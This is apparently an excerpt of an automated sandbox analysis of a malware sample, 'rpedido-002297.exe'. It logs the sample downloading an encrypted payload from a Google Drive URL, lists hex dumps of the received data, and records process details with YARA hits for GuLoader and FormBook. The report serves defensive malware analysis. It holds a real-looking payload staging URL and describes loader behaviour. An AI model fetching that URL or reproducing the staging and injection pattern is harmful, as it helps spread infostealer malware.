2024-10-03 16:10:37 UTC	258	OUT	GET /download?id=11qa_LgJEl_BnZLY-UunAkVKi7fSOJrcE&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-03 16:10:40 UTC	4900	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="omdjVMFJqYQFh161.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 287808 Last-Modified: Thu, 03 Oct 2024 13:01:48 GMT X-GUploader-UploadID: AD-8ljv__lzyzK8ZrPbaWRcC-IXYo6-95KL_GyPdneJvL696cUXBipDEx2ebdSH5p05HLjku0SUvfjP9xA Date: Thu, 03 Oct 2024 16:10:39 GMT Expires: Thu, 03 Oct 2024 16:10:39 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=n2fhbQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 16:10:40 UTC	4900	IN	Data Raw: 2d cf 12 45 ad 68 0d 08 01 4d 02 05 ef 25 2f 2d 2a 8b 86 72 57 31 a7 91 3e 09 10 32 3b e6 cb ff 1a 12 57 ad 9f a5 0d 96 46 b9 84 26 80 8c 13 e2 f7 79 25 43 9e 4a 49 d4 16 ed f4 27 ea 50 2b 06 b2 94 8c 1c 0f 22 b5 03 88 66 3c b8 e8 a6 f3 70 0b 34 de b2 b4 ab f4 66 2f 92 6a 02 a1 bb 51 0d f1 ee e2 29 af 57 06 4e 9e a2 68 3e f3 ae 9f 60 a6 7b 7e 8b c7 db 22 30 b3 cb 4c 50 3b 41 b8 54 92 a2 0f ea 7f f5 c7 c2 41 cd 29 83 df 2a 22 53 68 83 29 b4 37 80 c7 ea 33 b3 7d ee 78 a9 08 d4 01 5c 2e d1 77 57 b2 14 57 51 c7 c2 a5 aa 17 5b 37 ec f1 6f 08 63 1f 33 76 79 26 02 37 2a 93 f2 c9 26 ce 75 86 b4 07 bf 68 44 d0 2a 59 89 93 28 d2 12 89 8f 48 0a a0 74 46 80 2e 86 0e 48 db 1e 95 f7 75 98 c7 79 44 35 d0 50 04 ec c8 71 d3 19 fc 18 4e c7 e7 fb 92 35 2c 40 20 78 bb a6 30 Data Ascii: -EhM%/-rW1>2;WF&y%CJI'P+"f<p4f/jQ)WNh>`{~"0LP;ATA)"Sh)73}x\.wWWQ[7oc3vy&7&uhDY(HtF.HuyD5PqN5,@ x0
2024-10-03 16:10:40 UTC	4899	IN	Data Raw: 45 c2 98 33 3b d4 e1 bc 28 db 6f a7 e1 91 70 d2 cd fa 00 dd 8d 4b c0 02 90 2a 00 21 f1 b7 da 6d 25 fb 7c 65 e4 36 6d 0c d6 5b d6 b5 d5 dc 1b 20 79 87 1c 72 86 1b 70 8d 96 f9 47 58 a3 e5 7f 3c a8 c3 cc 84 ad 30 80 d2 0b 63 23 89 35 9a fe c6 2b c1 1f 3b 42 da 30 7f 81 dd 72 be 11 e2 ec c7 8a bc 17 47 43 a1 ad a7 97 f7 75 91 0f 82 1a 0c 49 c3 fa 07 b0 a1 63 69 16 7c b1 6a b5 6d 6f a2 f2 4c 00 d0 60 67 d6 f2 38 50 a2 ca 77 52 e2 80 77 91 f5 2c a4 34 49 48 3c 1c 3e c2 85 c6 78 b1 26 02 0e 00 2b 85 51 89 37 22 6f f7 79 0c b0 62 85 68 8f 3c 2d 04 b7 af cc 4f 20 c5 80 e4 21 f7 f6 b7 9a a4 7b 67 27 f8 4b 6d f2 4e 24 81 64 a3 46 21 7a cd 05 cd 49 f1 e0 88 65 c6 6d a1 ed 45 a6 7e c7 26 97 b1 eb 7c 88 6f f5 2d 19 0c 3c f4 43 bd fe dc 6d 35 34 38 7f ba 00 e2 3a 6b d9 Data Ascii: E3;(opK*!m%\|e6m[ yrpGX<0c#5+;B0rGCuIci\|jmoL`g8PwRw,4IH<>x&+Q7"oybh<-O !{g'KmN$dF!zIemE~&\|o-<Cm548:k
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: 54 f0 23 e5 c8 f8 b9 66 25 d8 42 c7 18 a7 bc 9e 97 d3 bb d4 eb 36 69 27 4d 67 55 e9 f4 db 70 42 21 7c 72 e7 5c 87 5c 26 84 f6 ca 19 b3 a2 49 18 ab 9c 43 54 79 c6 82 5f 5e 86 fa 94 f2 eb fc 18 cf f8 b7 be 92 35 73 80 1a 79 f7 a7 ba 34 58 4d fe 1e 33 b6 fd c4 9e 25 58 dd c1 bf a7 19 83 7f 3c fa 71 8c c7 24 2b 04 81 2b d4 cc dd 92 f6 4d 54 24 08 92 b5 d4 ba 56 9a 7c 96 0f 8d e3 4f 44 d4 93 8e c4 d2 70 03 e9 7e 25 94 32 6f d4 91 37 73 f6 25 2b e9 97 04 1a 19 f2 e3 6a 95 f3 22 29 c0 87 6a 53 2d 77 91 b6 54 0e a9 72 a5 e3 b6 01 3b c5 d1 8d 2c 19 8e 92 b2 51 1c 1a af d8 91 73 78 04 21 0b 12 05 a2 d8 0f 77 06 8d 97 3b 94 80 2f 03 15 f5 0d 5c 9b 05 d9 0e 2c e6 8f 04 b2 a8 2d c0 36 1f ab 9e a8 bd 9e e2 de 7e de 22 0f aa 7e 0d d2 3a e9 88 6b dd 41 de 36 31 df e9 97 Data Ascii: T#f%B6i'MgUpB!\|r\\&ICTy_^5sy4XM3%X<q$++MT$V\|ODp~%2o7s%+j")jS-wTr;,Qsx!w;/\,-6~"~:kA61
2024-10-03 16:10:40 UTC	67	IN	Data Raw: d2 2f 32 14 8a 73 f8 35 51 be 1a 88 be 73 79 fb 0e 0c 2e e4 b8 c9 2f 7f 8f 86 c1 31 78 4e 15 af 51 94 51 68 b1 6a d9 96 76 b4 15 13 cc b2 5f 65 8e 1a 35 48 a8 de 51 c4 a1 75 82 71 d7 39 2a e5 7f a7 52 Data Ascii: /2s5Qsy./1xNQQhjv_e5HQuq9*R
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: 97 47 45 a8 a1 dd 17 de 96 e7 37 54 14 75 c8 be 09 b2 9a 15 67 da 2a 07 df 4d 35 52 b9 19 b2 22 1e a3 7d cd 30 06 8b 27 2e 49 d2 06 8d 24 9b 7f 32 07 cd 9c 00 4b f6 b9 11 97 a5 a7 54 c9 ec 1b 91 c0 a7 3b 14 90 b9 68 a5 32 ec be 5b d4 59 9c a0 9c 6e ec e3 39 64 2e a9 b0 92 49 ae c7 d1 b3 71 9f 42 b9 be cd dd 3c 54 7e 2d 0b db cc ff 3d 0b af 21 ff 1b b3 0c e8 b1 c8 65 04 0e 94 1d 0b 03 71 67 3c b9 14 da 34 dc 0b 02 04 80 75 25 f7 99 1d 85 36 de 3c 5f b5 d3 ee 8c be 5c a3 e2 a9 62 cd e8 2a 14 3c 0f 45 e5 80 79 81 a3 04 91 15 8d a8 62 96 67 c8 a5 ef 53 ac a1 a1 61 05 8a 75 13 8c e7 4a e1 fc 2f 33 a8 03 80 73 9f 1c 92 48 31 8d ec 29 59 8f 5d 12 c7 de a2 d8 67 ff d3 37 20 97 84 85 9a d7 36 6d 03 de ae 6a 46 70 fc 35 b9 02 0d f9 2f c5 4f 5d 45 dd 43 18 98 04 9f Data Ascii: GE7TugM5R"}0'.I$2KT;h2[Yn9d.IqB<T~-=!eqg<4u%6<_\b<EybgSauJ/3sH1)Y]g7 6mjFp5/O]EC
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: f7 a0 e8 1b 4e b3 3e a9 b4 61 0c 22 6a c3 f1 f0 51 e2 5a 5d 5d 6d be cb 01 e1 aa b7 c5 4f c8 0e cb a9 e2 5d f1 f6 bd 8f b9 95 10 16 e2 0e 5e 7a 50 90 57 83 8e 2e 98 ed d3 97 9e 55 34 cd 6a 15 31 b9 4f 69 99 6f bd 56 ce d3 c4 13 6a 6c 59 4e d5 a2 a9 f5 fc 4a a8 6e 37 d8 43 1a 64 e2 ab 0f 55 f4 10 08 d1 65 f0 79 0b ea bc 03 e8 55 9e 56 ca 33 f2 34 fb 68 64 8d 7c 63 5e d2 37 5b 9a 19 b8 a9 82 d3 62 34 ab fa b0 8f 2f 6b 4c 29 bc a6 7c e1 b3 a9 58 11 8f 09 6c ea 69 95 c6 40 f9 59 c5 29 78 90 be 85 0e 8d e5 53 94 51 b8 9a ec 7c 2c 75 de a6 06 14 88 06 67 39 4d 5e d9 ec fe c4 a7 53 3b c7 46 e8 bf 46 06 f2 63 a0 9d 2a 8c 28 e8 6d fe 66 41 0f c1 8f 7b a6 e1 49 c5 a5 7c f2 65 e2 75 23 c4 ef a1 be 75 80 5f 73 6d 02 05 b8 f8 4f a8 b4 9e 03 53 76 07 f5 38 42 91 44 9d Data Ascii: N>a"jQZ]]mO]^zPW.U4j1OioVjlYNJn7CdUeyUV34hd\|c^7[b4/kL)\|Xli@Y)xSQ\|,ug9M^S;FFc*(mfA{I\|eu#u_smOSv8BD
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: 5c 2e ba 8f b8 1b 3f 31 99 46 a8 6f 44 8e e5 2d d2 11 a9 63 24 22 7c 4d 18 8a 7e 6e d8 1f b0 5b 5f 94 a2 71 a0 ee 3f 21 e7 c8 70 15 cd f9 a0 e6 a9 bd 33 f6 e5 89 10 ab 71 b0 4b 5a 8b 40 a2 db 2f 2c f5 d0 87 79 ba 0a 24 0e 11 71 a1 b6 e9 a8 de 97 bc 58 a1 ab 8d c7 0b f7 94 cd 9c d4 2c 7d 7a 3b 3a a8 93 9f df 9d ac 91 70 53 f9 c1 2f b5 f0 95 87 28 46 ab 71 15 da 06 b8 74 fe 9b 6c b5 0e ab f4 bb 93 10 32 f5 0c 6a 40 c6 50 0d 33 cc db a5 3d e6 44 b0 d6 b3 eb 31 d5 14 d5 ac 0d a4 e9 9a fb e2 04 09 4e 2f 35 f9 c0 73 76 7e 76 2e 9e ce 38 8c 2c 4b 0b 70 22 e8 19 e0 fb b6 93 aa 4d 77 1d 86 b4 ae ab 22 a0 f9 fd 14 e0 92 e5 96 15 44 c3 b9 d9 5a 43 60 47 af a1 c4 6e 3b eb ab 5d e0 7b 3d 70 94 c5 44 d7 eb c5 51 be 25 9e 09 22 16 f8 e6 9f 44 44 63 85 d8 cb 70 8e 22 18 Data Ascii: \.?1FoD-c$"\|M~n[_q?!p3qKZ@/,y$qX,}z;:pS/(Fqtl2j@P3=D1N/5sv~v.8,Kp"Mw"DZC`Gn;]{=pDQ%"DDcp"
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: 1d 48 0f a3 1e 8e 36 0e f6 a8 41 b7 21 55 54 ab 36 df 4c 80 89 1d a0 4e f3 ab d7 77 55 f0 fb a0 f4 53 2f d5 7c 99 62 8c ad 28 56 6d 78 7e ed da fd 47 20 5e 3c d0 da 42 3f 9d 7f d9 28 94 f9 e0 4f 7e 7c bb 7a 1e 6c 40 80 38 fe cc b4 c9 b2 9f f8 14 1b b9 37 38 31 30 39 da 30 fa 4d 3b d0 42 f3 f6 c9 05 28 69 00 04 b3 0b 56 8c bb 2a 1a fd 5f 27 f1 9e 45 33 91 e1 e2 e1 2c 73 2d cf e1 05 da a6 48 09 6a c5 e6 a6 d9 08 1a b4 69 06 38 22 e5 bc 61 20 ca 48 6e 16 60 2e 2d 4a ba d0 ab cc d9 62 7b 6a 76 0a 58 4e 79 1a ea 66 16 6a d1 04 81 8e 72 71 43 da 51 00 1d 77 de 51 ee 2c eb 9b 01 34 6a 8e b5 17 20 03 13 5a 82 56 fb 6e dc cb 21 17 0f aa c2 89 6f 7f 26 58 07 8c d3 09 88 83 81 d3 64 b4 22 50 51 5e a2 22 a3 b6 ca b1 c4 de 64 be f3 16 a9 01 54 08 64 21 99 e7 77 96 1c Data Ascii: H6A!UT6LNwUS/\|b(Vmx~G ^<B?(O~\|zl@8781090M;B(iV*_'E3,s-Hji8"a Hn`.-Jb{jvXNyfjrqCQwQ,4j ZVn!o&Xd"PQ^"dTd!w
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: 31 e6 b3 0c 09 0e 81 80 66 cd 40 23 cb 94 2f f4 85 c3 f0 2c fc fa 27 ec 10 12 35 0c 46 d8 1a 67 f3 93 f0 7e 68 47 3a bc b3 10 bf 66 e5 fe 41 5d 44 38 0b 47 db 21 e7 1e 2f c0 9e 8e 3d b8 d7 9d 54 e8 c8 6e ad 45 ad cf 9b 2d bc 6e 6c f0 47 6c 05 e4 cd da ee a5 16 99 82 04 7a a8 8b 59 9e 96 76 c4 91 be fd 45 04 4a 8e fb 45 8d c3 d0 87 b2 9f 7a f5 32 5e b4 7b e1 1a 25 6f 62 b1 26 78 88 ac 6a 74 01 b9 7e fd 2c 46 12 f2 62 ef ed bd f1 d1 d9 6a b6 ae 73 76 b2 e8 98 7c be 6f f1 c8 f2 11 3d 77 9e 70 9a ab 17 31 a9 bf 39 78 27 a5 15 75 5e a6 66 f9 a5 b2 9f 9b de 51 56 74 dc 1e a9 92 87 00 53 fe 96 b3 21 4f 19 26 bc f5 e6 3b 9b fe 85 48 20 c1 6a ee e1 08 09 52 01 3c 53 0e 25 cb de f8 36 c5 25 29 81 62 3f 4b 83 94 df b0 53 48 1a 30 1d e4 3b 14 18 a0 67 62 1b 8c c6 c6 Data Ascii: 1f@#/,'5Fg~hG:fA]D8G!/=TnE-nlGlzYvEJEz2^{%ob&xjt~,Fbjsv\|o=wp19x'u^fQVtS!O&;H jR<S%6%)b?KSH0;gb
2024-10-03 16:10:40 UTC	1255	IN	Data Raw: 7b 61 91 98 70 92 df 05 da 7b f7 08 32 49 06 56 d3 7f 66 7e e3 dd 72 37 47 3e f5 19 1d a4 9b cf fb 21 55 75 02 65 0b 74 25 ce 14 b1 6d 21 f2 74 ac f8 c7 54 7c c5 5e a5 70 26 4d 29 06 17 82 24 38 fe 8d 66 71 20 94 8e 8e d6 49 0d bd 66 cb 96 d6 7c f4 02 03 d9 1a 74 21 04 4a 5f 36 70 8b cd 86 8f 2b 7f 81 65 81 2f 02 43 74 85 88 f0 b8 21 66 a5 6a 15 70 e5 73 bd ba c6 cf fd 0b d8 83 93 bf 8a 7a df 40 5c b7 54 91 6d 81 05 9b af 10 01 ca 34 9e d1 a9 9c 30 6d d0 52 41 da 37 34 2a 94 17 c0 04 92 cc d9 8a 88 33 20 b0 c4 53 09 04 25 0e 71 ed a9 ac 2a bb 50 22 0d dd 04 f2 d0 77 6e ac 7b 7e 10 57 4e ee 7c 74 b2 22 e9 13 86 a2 c1 1b fb f1 d1 e0 23 29 99 2b 41 2a e1 16 6d 42 86 de d6 3d 9e e4 1b 95 10 89 ce 40 20 6a 30 31 c1 00 65 39 22 50 0b 47 cb 03 17 73 a4 c4 ff ff Data Ascii: {ap{2IVf~r7G>!Uuet%m!tT\|^p&M)$8fq If\|t!J_6p+e/Ct!fjpsz@\Tm40mRA743 S%qP"wn{~WN\|t"#)+A*mB=@ j01e9"PGs

Target ID:	0
Start time:	12:10:12
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\rpedido-002297.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rpedido-002297.exe"
Imagebase:	0x400000
File size:	568'824 bytes
MD5 hash:	E7B674773E7C72426B2BCC90A9C1E299
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000000.00000002.11416081363.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000000.00000002.11415630740.00000000029B4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.11416081363.00000000033EA000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	12:10:31
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\rpedido-002297.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rpedido-002297.exe"
Imagebase:	0x400000
File size:	568'824 bytes
MD5 hash:	E7B674773E7C72426B2BCC90A9C1E299
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.11738899156.00000000322E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.11738899156.00000000322E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 00000001.00000002.11726029676.0000000001660000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.11739770238.0000000033C00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.11739770238.0000000033C00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	12:11:03
Start date:	03/10/2024
Path:	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe"
Imagebase:	0x3d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.16210520665.0000000003AC0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.16210520665.0000000003AC0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	12:11:05
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\sethc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\sethc.exe"
Imagebase:	0xc60000
File size:	81'920 bytes
MD5 hash:	AA9A6E4DADA121001CFDF184B9758BBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.15398598450.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.15398598450.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.15398680502.0000000004AC0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.15398680502.0000000004AC0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	4
Start time:	12:11:17
Start date:	03/10/2024
Path:	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe"
Imagebase:	0x3d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.16210012048.00000000012C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.16210012048.00000000012C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	12:11:31
Start date:	03/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6c61f0000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true